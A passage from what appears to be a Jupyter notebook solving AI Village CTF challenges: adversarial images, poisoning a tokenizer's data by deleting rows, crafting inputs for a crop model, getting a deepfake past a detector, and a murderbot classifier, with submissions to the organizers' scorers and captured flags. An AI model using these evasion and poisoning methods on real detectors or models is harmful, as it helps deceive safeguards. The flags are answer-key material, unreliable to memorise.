original_image","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:11:22.925351Z","iopub.execute_input":"2022-09-11T20:11:22.925796Z","iopub.status.idle":"2022-09-11T20:11:22.969695Z","shell.execute_reply.started":"2022-09-11T20:11:22.925758Z","shell.execute_reply":"2022-09-11T20:11:22.968644Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"final_img = create_img(img, model, 'owl', 24, 1.0, 1e-2)\nimg = np.asarray(final_img)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:11:25.284588Z","iopub.execute_input":"2022-09-11T20:11:25.285004Z","iopub.status.idle":"2022-09-11T20:11:29.347710Z","shell.execute_reply.started":"2022-09-11T20:11:25.284969Z","shell.execute_reply":"2022-09-11T20:11:29.346370Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"img_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://salt.fly.dev/score\", data=json.dumps(data))\n    print(json.dumps(json.loads(r.text), indent=4))\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:11:31.423286Z","iopub.execute_input":"2022-09-11T20:11:31.423706Z","iopub.status.idle":"2022-09-11T20:11:32.035929Z","shell.execute_reply.started":"2022-09-11T20:11:31.423672Z","shell.execute_reply":"2022-09-11T20:11:32.034769Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"salt\", \"3J1YDJHL03A4T2LB4UVTSIL9BO<RMYSAL6ZUBP2GHB{LCG8THE3ZS2KMM1ITG8QU}SPL426Z9C6RVLFC3F1GRL1I00TZS1T2ZNI6D2NRNQRZE9YC3HWJIPNTTP1663S4\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:47:01.634267Z","iopub.execute_input":"2022-09-11T20:47:01.635749Z","iopub.status.idle":"2022-09-11T20:47:01.647429Z","shell.execute_reply.started":"2022-09-11T20:47:01.635697Z","shell.execute_reply":"2022-09-11T20:47:01.646049Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Token (id: token) -- 500 Points\n\n### Scenario\n\nThis sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0).\nCan you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?\n\n### Objective\n\nTrick the model tokenizer to give the string \"SECRETKEY\" over 80% confidence as class 1. (There's only two classes)\nThe tokenizer reads from the file at ./static/token/test.csv.\nYou get to remove two lines from the test.csv file before the tokenizer is built.","metadata":{}},{"cell_type":"code","source":"df = pd.read_csv(f'{dir_name}/token/test.csv',quoting=3, encoding='ascii')\n#pd.set_option('display.max_rows', 1990)\n#pd.set_option('display.max_colwidth', None)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:11:55.280636Z","iopub.execute_input":"2022-09-11T20:11:55.281703Z","iopub.status.idle":"2022-09-11T20:11:55.299071Z","shell.execute_reply.started":"2022-09-11T20:11:55.281656Z","shell.execute_reply":"2022-09-11T20:11:55.298106Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"rev_pos = df[df['Sentiment'] == 1]\nrev_neg = df[df['Sentiment'] == 0]\n\nprint(df.shape)\nprint(rev_pos.shape)\nprint(rev_neg.shape)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:11:56.871475Z","iopub.execute_input":"2022-09-11T20:11:56.872356Z","iopub.status.idle":"2022-09-11T20:11:56.883548Z","shell.execute_reply.started":"2022-09-11T20:11:56.872321Z","shell.execute_reply":"2022-09-11T20:11:56.882633Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df[(df['Review'] == 'Price is BLANK BLANK good too.') | (df['Review'] == 'im surprised BLANK BLANK this is a good quality car charger and there\\'s not much reviews about it.')]","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:11:58.716327Z","iopub.execute_input":"2022-09-11T20:11:58.717058Z","iopub.status.idle":"2022-09-11T20:11:58.734518Z","shell.execute_reply.started":"2022-09-11T20:11:58.717019Z","shell.execute_reply":"2022-09-11T20:11:58.733370Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\ndata = json.dumps(\n   {\n        \"line1\": 336,\n        \"line2\": 492,\n    }\n)\ntry:\n    r = requests.post(\"https://token.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:12:01.129296Z","iopub.execute_input":"2022-09-11T20:12:01.129690Z","iopub.status.idle":"2022-09-11T20:12:01.268568Z","shell.execute_reply.started":"2022-09-11T20:12:01.129659Z","shell.execute_reply":"2022-09-11T20:12:01.267487Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"token\", \"WUYIL37YJG0A6{WRVWTK4NYWJFPT81ZF191EFGRXKE1AL462XBO33O8}OGB08Y01OJ1RZXAIN31N3CFLQ1YCJ8WMZ0D8XQLD6KL8UKLZIICED9B4M242FPBQ7B3P63IC\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:47:04.819013Z","iopub.execute_input":"2022-09-11T20:47:04.819469Z","iopub.status.idle":"2022-09-11T20:47:04.833031Z","shell.execute_reply.started":"2022-09-11T20:47:04.819433Z","shell.execute_reply":"2022-09-11T20:47:04.831461Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop1 (id: crop1) -- 400 Points\n\n### Scenario\n\n\n### Objective\nYour mission, should you choose to accept it, is to create an image that crops to a non-red circle. Submit a comma-separated list of integers to the scoring serve that scores below 10 million (1e7) on the score function below.","metadata":{}},{"cell_type":"code","source":"model = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:12:11.835612Z","iopub.execute_input":"2022-09-11T20:12:11.836030Z","iopub.status.idle":"2022-09-11T20:12:25.671416Z","shell.execute_reply.started":"2022-09-11T20:12:11.835991Z","shell.execute_reply":"2022-09-11T20:12:25.669873Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Helper Functions\ndef get_ij(idx):\n    idx = 8-idx\n    j = idx//3\n    i = 2-idx%3\n    return i, j\n\ndef resize(X, size=(224,224)):\n    X_new = np.array(Im.fromarray(X.astype(np.uint8)).resize(size, resample=3))\n    return X_new\n\ndef get_cropped(X, idx):\n    n = 75*3\n    i, j = get_ij(idx)\n    crop = resize(X,(n,n))[j*75:(j+1)*75,i*75:(i+1)*75,:]\n    return crop\n\ndef i2t(img:np.array):\n    return np.array(img, dtype=np.float32)/255.\n\ndef make_X(x, size=(224,224)):\n    side = int((len(x)//3)**0.5)\n    x = np.where(x<255,x,255)\n    x = np.where(x>0,x,0)\n    X_np = x.astype(int).reshape([side, side, 3])\n    X_np = np.array(Im.fromarray(X_np.astype(np.uint8)).resize(size, resample=Im.Resampling.NEAREST))\n    return X_np\n\ndef pt_ft(X_np):\n    return torch.FloatTensor(X_np)\n\ndef score(x, model=model, X_comp = np.divide(X_comp,0b1010), debug=False):\n    x = (x).astype(int)\n    model.eval()\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n    idx = preds.argmax().item()\n    expected = ((25.5-X_comp)).flatten()\n    actual_square = get_cropped(X, idx)\n    actual = actual_square.flatten().astype(int)\n    if debug:\n        print({\"idx\":idx})\n        plt.imshow(actual_square)\n        plt.show()\n    sse = ((actual-(expected*10).astype(int))**2).sum()\n    redness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\n    print('SSE: ',sse)\n    print('redness: ',redness)\n    \n    if idx==8:\n        return (1+preds.max().item())*sse*redness\n    return sse*redness\n\ndef get_submittable(x):\n    return \",\".join([str(int(n)) for n in x])\n\ncfn = lambda x: [f\"background-color: RGB({x.R},{x.G},{x.B})\"] * 3\ndef show_colors(ans):\n    ans = [int(x) for x in ans.split(\",\")]\n    squares = pd.DataFrame(np.array(ans[:27]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    circles = pd.DataFrame(np.array(ans[27:]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    display(squares)\n    display(circles)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:13:16.669326Z","iopub.execute_input":"2022-09-11T20:13:16.669784Z","iopub.status.idle":"2022-09-11T20:13:16.690698Z","shell.execute_reply.started":"2022-09-11T20:13:16.669735Z","shell.execute_reply":"2022-09-11T20:13:16.689300Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"tmp = (255 - X_comp).copy()\nimg = np.append(tmp, tmp, axis=0)\nimg = np.append(img, tmp, axis=0)\ntmp = img.copy()\nimg = np.append(img, tmp, axis=1)\nimg = np.append(img, tmp, axis=1)\nimg = img[:224, :224]\nfor i in range(224):\n    for j in range(224):\n        red = img[i, j, 0]\n        if red > 230:\n            img[i, j] = [220, img[i, j, 1], img[i, j, 2]]\nimg2 = resize(img, (224, 224))\n\nscore_ = score(np.array(get_submittable(img2.flatten()).split(',')), debug=True)\nprint(score_/1e6)\n\nplt.imshow(img)\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:13:22.010438Z","iopub.execute_input":"2022-09-11T20:13:22.011057Z","iopub.status.idle":"2022-09-11T20:13:22.934292Z","shell.execute_reply.started":"2022-09-11T20:13:22.011017Z","shell.execute_reply":"2022-09-11T20:13:22.933160Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"data = get_submittable(img2.flatten())\n\ntry:\n    r = requests.post(\"https://crop1.fly.dev/score\", data=json.dumps({\"data\": data}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:13:25.367696Z","iopub.execute_input":"2022-09-11T20:13:25.368167Z","iopub.status.idle":"2022-09-11T20:13:26.108591Z","shell.execute_reply.started":"2022-09-11T20:13:25.368130Z","shell.execute_reply":"2022-09-11T20:13:26.106906Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop1\", \"MC8BNAWG{DJ9TXOn}ANKUUHTU6nYRX3SGXTGA7CeULG7WGG1FgCJDZ8SJ8UTJJFVUANI9ShM1J8P75ZMXJN8KrBaQCL8LTITY3VECMYECSNFZXKagDUDY7EGP80MVG4D\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:47:08.225123Z","iopub.execute_input":"2022-09-11T20:47:08.225603Z","iopub.status.idle":"2022-09-11T20:47:08.237555Z","shell.execute_reply.started":"2022-09-11T20:47:08.225560Z","shell.execute_reply":"2022-09-11T20:47:08.236279Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop2 (id: crop2) -- 800 Points\n\n### Scenario\nCan you find the specific poisoned sample?\n\n### Objective\nIdentify the entire grid of colors (squares and circles and respective postiions) correctly.\n\nFlag 2 expects two json lists (\"squares\" and \"circles\"). These should be a flattened list/array of your RGB values for each color [0-255].\nAs an example, check out crop2_example.json.","metadata":{}},{"cell_type":"code","source":"# Submission Helper\njson_ = {\n    'circles': [],\n    'squares': []\n}\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=json_)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.937873Z","iopub.status.idle":"2022-09-11T19:37:55.938422Z","shell.execute_reply.started":"2022-09-11T19:37:55.938132Z","shell.execute_reply":"2022-09-11T19:37:55.938168Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop2\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.939698Z","iopub.status.idle":"2022-09-11T19:37:55.940248Z","shell.execute_reply.started":"2022-09-11T19:37:55.939944Z","shell.execute_reply":"2022-09-11T19:37:55.939968Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.  \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n","metadata":{}},{"cell_type":"code","source":"with open('../input/deepfakeo/output.mp4', 'rb') as f:\n    data = f.read()\nb64_data = base64.urlsafe_b64encode(data).decode()\nin_data = json.dumps({\"input\": b64_data})\nr = requests.post(\"https://deepfake.fly.dev/score\", data=in_data)\nprint(r.text)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:13:39.229098Z","iopub.execute_input":"2022-09-11T20:13:39.229892Z","iopub.status.idle":"2022-09-11T20:13:49.905032Z","shell.execute_reply.started":"2022-09-11T20:13:39.229851Z","shell.execute_reply":"2022-09-11T20:13:49.903882Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"deepfake\", \"21G890ZDICLBZOUUGCNFBZOSVKE8DSRX0ACUZQ9IJFDIE7BQ5RUSE4Q1SLAPK9UA8I8CTI4NO42C4}BOP4LOMG1QD4RK285MIKXD4SEHUJK8J4DXO0{S7QGCINKIL03X\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:47:15.388831Z","iopub.execute_input":"2022-09-11T20:47:15.389330Z","iopub.status.idle":"2022-09-11T20:47:15.401637Z","shell.execute_reply.started":"2022-09-11T20:47:15.389289Z","shell.execute_reply":"2022-09-11T20:47:15.400486Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Don't free the murderbots (id: murderbots) -- 300 Points\n\n### Scenario\n\nSomeone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.\n\nGood news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions.  You can't open your own cell, but you can open theirs.\n\nBad news:  You can't see inside the cells.  Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).\n\nMore good news: You *can* see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.\n\nMore bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are *definitely* going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.\n\n\n### Objective\n\nUse the provided environmental information to decide which occupants of the corresponding cells to release.  The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'.  If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: `11100110000000000000`\n\nRelease at least 10 humans and exactly 0 murderbots to collect the flag.  You do *not* have to release all the humans: 10 is sufficient.\n\nThe file `murderbots/train_data.json` has environmental information for cells not on your floor and `murderbots/train_labels.json` contains the information about their occupants -- `1` is a disgusting primate, `0` is a pure and perfect killing machine of chrome and steel.  The file `murderbots/test_data.json` has the environmental information about cells on your block.","metadata":{}},{"cell_type":"code","source":"X_train = pd.DataFrame.from_dict(json.load(open(\"../input/ai-village-ctf/murderbots/train_data.json\")))\ny_train = pd.DataFrame.from_dict(json.load(open(\"../input/ai-village-ctf/murderbots/train_labels.json\")))\nX_test = pd.DataFrame.from_dict(json.load(open(\"../input/ai-village-ctf/murderbots/test_data.json\")))","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:03.560632Z","iopub.execute_input":"2022-09-11T20:14:03.561174Z","iopub.status.idle":"2022-09-11T20:14:03.590561Z","shell.execute_reply.started":"2022-09-11T20:14:03.561128Z","shell.execute_reply":"2022-09-11T20:14:03.589567Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"y_train.head()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:05.211804Z","iopub.execute_input":"2022-09-11T20:14:05.212547Z","iopub.status.idle":"2022-09-11T20:14:05.229715Z","shell.execute_reply.started":"2022-09-11T20:14:05.212487Z","shell.execute_reply":"2022-09-11T20:14:05.228433Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"y_train.index = [int(i) for i in y_train.index.tolist()]\ny_train.sort_index(inplace=True)\ny_train.head()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:07.267964Z","iopub.execute_input":"2022-09-11T20:14:07.268366Z","iopub.status.idle":"2022-09-11T20:14:07.284652Z","shell.execute_reply.started":"2022-09-11T20:14:07.268328Z","shell.execute_reply":"2022-09-11T20:14:07.283412Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"X_train.head()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:08.335882Z","iopub.execute_input":"2022-09-11T20:14:08.336312Z","iopub.status.idle":"2022-09-11T20:14:08.348649Z","shell.execute_reply.started":"2022-09-11T20:14:08.336274Z","shell.execute_reply":"2022-09-11T20:14:08.347600Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler, PolynomialFeatures\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import GridSearchCV, train_test_split\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.svm import SVC\n\nmodel = Pipeline([\n    ('ss', StandardScaler()),\n    ('lr', LogisticRegression())\n]) \n\nparams = {\n    'lr__C': np.logspace(-3, 2, 10),\n    'lr__solver': ['liblinear', 'lbfgs'],\n    'lr__class_weight':[None, 'balanced']\n}\n\nsearch = GridSearchCV(model, params, cv=5)\nsearch.fit(X_train, y_train)\n\nprint(search.best_params_)\nprint(search.best_score_)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:11.102864Z","iopub.execute_input":"2022-09-11T20:14:11.103634Z","iopub.status.idle":"2022-09-11T20:14:13.443620Z","shell.execute_reply.started":"2022-09-11T20:14:11.103595Z","shell.execute_reply":"2022-09-11T20:14:13.442469Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"bp = search.best_params_\nmodel = Pipeline([\n    ('ss', StandardScaler()),\n    ('lr', LogisticRegression(C=bp['lr__C'], solver=bp['lr__solver'], class_weight=bp['lr__class_weight']))\n])\n\nmodel.fit(X_train, y_train)\npreds = model.predict(X_test)\n\npreds = ''.join(preds.astype(int).astype(str))\npreds","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:15.958488Z","iopub.execute_input":"2022-09-11T20:14:15.959254Z","iopub.status.idle":"2022-09-11T20:14:15.976125Z","shell.execute_reply.started":"2022-09-11T20:14:15.959204Z","shell.execute_reply":"2022-09-11T20:14:15.974828Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import itertools\nindexes = [i for i, x in enumerate(preds) if x == '1']\ncombs = [i for i in itertools.combinations(indexes, 2)]\nprint(combs[0:2])\nprint(len(combs))","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:29.212913Z","iopub.execute_input":"2022-09-11T20:14:29.214117Z","iopub.status.idle":"2022-09-11T20:14:29.222310Z","shell.execute_reply.started":"2022-09-11T20:14:29.214032Z","shell.execute_reply":"2022-09-11T20:14:29.220992Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#for i in combs:\n#    preds2 = list(preds[:])\n#    for indices in i:\n#        preds2[indices] = '0'\n#    preds2 = ''.join(preds2)\n#    r = requests.post(\n#        \"http://murderbot.fly.dev:5000/score\", \n#        json=json.dumps({\"submission\": preds2, 'challenge_id':'murderbots'})\n#    )\n#    print(r.text)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.961053Z","iopub.status.idle":"2022-09-11T19:37:55.961614Z","shell.execute_reply.started":"2022-09-11T19:37:55.961316Z","shell.execute_reply":"2022-09-11T19:37:55.961341Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#i = [15, 23]\n#preds2 = list(preds[:])\n#for indices in i:\n#    preds2[indices] = '0'\n#preds2 = ''.join(preds2)\n#print(preds2)\n#r = requests.post(\n#    \"http://murderbot.fly.dev:5000/score\", \n#    json=json.dumps({\"submission\": preds2, 'challenge_id':'murderbots'})\n#)\n#print(r.text)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.963197Z","iopub.status.idle":"2022-09-11T19:37:55.963763Z","shell.execute_reply.started":"2022-09-11T19:37:55.963455Z","shell.execute_reply":"2022-09-11T19:37:55.963481Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nf = '00001100001011101001111000000010011010101000001100' # length == 50\ntry:\n    r = requests.post(\"http://murderbot.fly.dev:5000/score\", json=json.dumps({\"submission\": f, 'challenge_id':'murderbots'}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:14:37.359146Z","iopub.execute_input":"2022-09-11T20:14:37.359597Z","iopub.status.idle":"2022-09-11T20:14:37.540811Z","shell.execute_reply.started":"2022-09-11T20:14:37.359560Z","shell.execute_reply":"2022-09-11T20:14:37.539723Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"murderbots\", \"UWXAMbT7FMEX}4HUD9Ve3oMKQtPGGSaVu1AVItRDrRLPA{0CFLJFPWPNs22KP7NZOS3QMZRdt3AYBDARo1VN3GWdG40WIUe6HZFW0QLDH58E6RVFXBN6IGC9NI75FMDJ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:47:19.844114Z","iopub.execute_input":"2022-09-11T20:47:19.845166Z","iopub.status.idle":"2022-09-11T20:47:19.858076Z","shell.execute_reply.started":"2022-09-11T20:47:19.845108Z","shell.execute_reply":"2022-09-11T20:47:19.856816Z"},"trusted":true},"execution_count":null,"outputs":[]}]}